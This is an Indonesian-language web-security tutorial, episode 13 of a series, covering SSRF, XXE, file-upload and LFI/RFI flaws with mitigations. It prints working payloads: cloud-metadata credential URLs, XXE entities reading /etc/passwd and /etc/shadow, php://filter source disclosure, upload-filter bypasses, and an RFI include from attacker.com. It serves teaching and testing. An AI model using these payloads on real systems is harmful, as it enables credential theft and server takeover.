Mengeksploitasi kepercayaan server terhadap input yang memicu request atau akses file: SSRF menuju jaringan internal dan cloud metadata, XXE via XML entities, file upload berbahaya, dan path traversal LFI RFI lengkap dengan teknik deteksi dan mitigasi

Setelah di episode 11-12 kita menyerang input di server dan browser, sekarang kita membahas kelas kerentanan yang memanfaatkan kepercayaan server terhadap sumber lain: SSRF (server memproses URL yang kita kendalikan), XXE (server memproses XML berbahaya), dan file vulnerabilities (server memproses file yang kita berikan). OWASP Top 10 2025 menempatkan SSRF di posisi #10 dan memasukkan file upload ke dalam kelas risiko aplikasi.
Mengapa episode ini penting? Karena ketiganya menjembatani "aplikasi web biasa" ke lingkungan internal: server yang bisa membaca metadata cloud (SSRF), membaca file sistem (XXE/LFI), atau menjalankan kode (RFI/upload) adalah loncatan langsung menuju kompromi total.
SSRF terjadi ketika aplikasi menerima URL dari user lalu membuat request dari server. Fitur-fitur seperti "preview link", "fetch image", atau webhook sering jadi korbannya:
http://target.com/fetch?url=http://contoh.com/gambar.pngAplikasi akan me-request contoh.com dari server aplikasi, bukan dari browser user. Kita tinggal mengganti URL-nya:
http://target.com/fetch?url=http://127.0.0.1:8080/admin
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/Server aplikasi biasanya punya akses ke layanan internal yang tidak tersentuh internet: database 127.0.0.1:3306, panel admin, service backend. SSRF menjadikan server sebagai proxy untuk mencapai semua itu.
Di cloud (AWS/GCP/Azure), SSRF bisa menembak endpoint metadata — jalur menuju kredensial:
AWS : http://169.254.169.254/latest/meta-data/iam/security-credentials/
GCP : http://metadata.google.internal/computeMetadata/v1/
Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01Jika berhasil membaca kredensial IAM role, penyerang bisa menguasai akun cloud — kita lanjutkan dampaknya di episode 23.
Warning
SSRF adalah salah satu kerentanan paling merusak karena jembatan langsung ke lingkungan internal dan kredensial cloud. Saat menguji, jangan langsung menyentuh metadata — gunakan dulu target netral yang kalian kendalikan (server listener sendiri) untuk membuktikan server mau request ke URL luar, baru tingkatkan ke resource internal dengan hati-hati dan di lab saja.
Aplikasi yang mem-parse XML user (SOAP API, dokumen upload, RSS) dengan parser yang mengizinkan external entities bisa dibujuk membaca file lokal:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>Jika respons menampilkan isi /etc/passwd, aplikasi bocor file sistem. Variasi lain: SSRF via entity (SYSTEM "http://internal/") atau baca file dengan kredensial:
<!ENTITY xxe SYSTEM "file:///etc/shadow">Uji parser dengan entity sederhana dulu. Jika &xxe; menggantikan nilai dengan isi file, parser rentan. Parser modern aman dengan default — kerentanan ada pada parser yang diaktifkan external entities secara tidak sengaja.
File upload adalah pintu klasik menuju RCE:
.php, .jsp, .asp yang dieksekusi server saat diakses..php.jpg, .php%00.jpg, ekstensi ganda, atau file dengan magic bytes palsu.1. Upload file test (.txt) -> lihat bagaimana respons
2. Upload gambar biasa -> verifikasi lokasi penyimpanan
3. Upload shell (.php) -> coba akses langsung di lokasi itu
4. Bypass filter ekstensi -> .php5, .phtml, .phar, case alternatifUji di DVWA/uploadlab dengan shell test yang tidak merusak (contoh <?php echo "test"; ?>), bukan webshell aktif.
Aplikasi menyertakan file lokal dari parameter — misalnya pemilihan halaman:
http://target.com/index.php?page=aboutPayload traversal keluar dari direktori web:
?page=../../../../etc/passwd
?page=php://filter/convert.base64-encode/resource=config.phpTeknik php://filter base64 membuka source code aplikasi — bahan emas untuk menemukan kredensial di kode.
Varian yang menyertakan file dari URL — bila allow_url_include aktif, penyerang bisa menjalankan kode dari server sendiri:
?page=http://attacker.com/shell.txt| Kerentanan | Mitigasi |
|---|---|
| SSRF | Validate URL (whitelist domain), blokir IP internal, deny metadata endpoint |
| XXE | Nonaktifkan external entities di parser XML; gunakan format data aman (JSON) |
| File upload | Whitelist ekstensi + MIME + magic bytes; simpan di luar web root; randomisasi nama |
| LFI/RFI | Whitelist nama file; hindari input user pada path; nonaktifkan allow_url_include |
Tip
Pola umum yang wajib kalian latih: setelah menemukan satu kerentanan dari kelas ini, selalu tanyakan "apa lagi yang bisa dijangkau?". SSRF → metadata → kredensial cloud; LFI → source code → kredensial aplikasi; upload → webshell → RCE. Kemampuan mengeskalasi temuan ini yang membedakan temuan biasa dari temuan kritikal.
Pada episode 13 ini, kalian telah menguasai tiga kelas kerentanan yang menghubungkan aplikasi web dengan lingkungan internal.
Inti yang harus dibawa pulang:
169.254.169.254).Di episode 14 selanjutnya kita membahas IDOR/BOLA, authentication & authorization flaws — broken access control, horizontal/vertical privilege escalation, login bypass, session fixation, insecure password reset, dan MFA bypass. Sampai jumpa di episode 14!